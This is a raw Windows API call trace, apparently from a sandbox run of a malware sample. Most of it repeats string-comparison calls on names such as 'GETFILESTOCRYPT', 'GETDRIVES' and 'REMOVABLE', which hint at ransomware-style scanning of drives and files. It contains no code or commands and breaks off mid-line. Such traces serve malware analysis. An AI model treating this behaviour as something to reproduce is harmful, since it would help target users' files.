[0084.485] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.486] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.486] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.486] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.486] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.487] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.487] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.487] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.487] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.487] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.487] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.487] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.488] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.488] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.488] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.488] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.488] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.488] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.488] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.488] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.488] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.488] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.488] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.488] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.488] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.488] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.488] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.489] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.489] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.489] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.489] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.489] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.490] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.490] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.490] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.490] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.490] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.490] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.492] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.492] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.492] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.492] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.492] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.492] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.492] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.492] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.492] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.493] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.493] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.493] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.493] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.493] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.493] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.493] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.493] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.493] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.493] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.493] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.493] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.493] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.494] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.494] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.494] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.494] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.494] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.494] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.494] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.494] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.494] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.494] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.494] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.494] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.495] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.495] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.495] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.495] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.495] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.495] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.495] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.495] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.495] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.496] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.496] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.496] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.496] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.496] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.496] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.496] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.496] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.496] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.496] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.496] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.497] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.497] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.497] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.497] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.497] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.497] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.497] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.497] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.497] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.497] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.498] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.498] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.498] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.498] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.498] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.498] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.498] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.499] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.499] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.499] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.499] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.499] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.499] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.499] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.500] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.500] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.500] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.500] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.500] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.500] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.500] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.500] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.501] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.501] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.501] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.501] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.501] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.501] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.501] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.502] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.502] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.502] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.502] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.502] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.502] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.502] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.502] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.503] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.503] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.503] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.503] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.503] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.503] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.503] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.504] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.504] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.504] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.504] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.504] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.504] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.505] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.505] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.505] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.505] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.506] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.506] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.506] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.506] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.506] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.506] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.506] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.506] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.507] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.507] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.507] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.507] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.507] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.508] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.508] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0084.508] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.508] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0084.508] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0084.508] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0084.508] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.130] TranslateMessage (lpMsg=0x130f204) returned 0 [0085.130] DispatchMessageW (lpMsg=0x130f204) returned 0x0 [0085.130] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e868) returned 1 [0085.133] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0085.133] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.133] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.134] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.134] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.134] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.134] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.134] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.134] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0085.134] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.134] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0085.134] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.134] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0085.134] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.134] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.134] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0085.134] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0085.134] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0085.134] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 